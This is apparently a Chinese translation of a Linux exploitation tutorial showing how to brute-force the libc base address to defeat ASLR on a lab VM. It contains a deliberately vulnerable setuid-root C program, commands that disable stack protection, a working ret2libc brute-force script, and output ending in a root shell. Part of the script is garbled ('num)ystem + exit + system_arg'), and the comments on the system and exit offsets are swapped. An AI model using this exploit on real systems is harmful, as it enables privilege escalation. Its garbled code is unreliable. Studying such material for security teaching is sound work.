繞過 ASLR -- 第二部分
譯者:飛龍
預備條件:
VM 配置:Ubuntu 12.04 (x86)
這篇文章中,讓我們看看如何使用爆破技巧,來繞過共享庫地址隨機化。
什么是爆破?
在這個技巧中,攻擊者選擇特定的 Libc 基址,并持續攻擊程序直到成功。假設你足夠幸運,這個技巧是用于繞過 ASLR 的最簡單的技巧。
漏洞代碼:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}
編譯命令:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
讓我們來看看,攻擊者如何爆破 Libc 基址。下面是(當隨機化打開時)不同的 Libc 基址:
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$
上面展示了,Libc 隨機化僅限于 8 位。因此我們可以在最多 256 次嘗試內,得到 root shell。在下面的利用代碼中,讓我們選擇0xb7595000
作為 Libc 基址,并讓我們嘗試幾次。
利用代碼:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
libc_base_addr = 0xb7595000
exit_off = 0x00032be0 #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060 #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d
#endianess convertion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)
print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
print "Number of tries: %d" %i
i += 1
ret = call(["./vuln", buf])
if (not ret):
break
else:
print "Exploit failed"
運行上面的利用代碼,我們會得到 root shell(在下面展示):
$ python exp.py
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
注意:也可以爆破類似的棧和堆段的地址。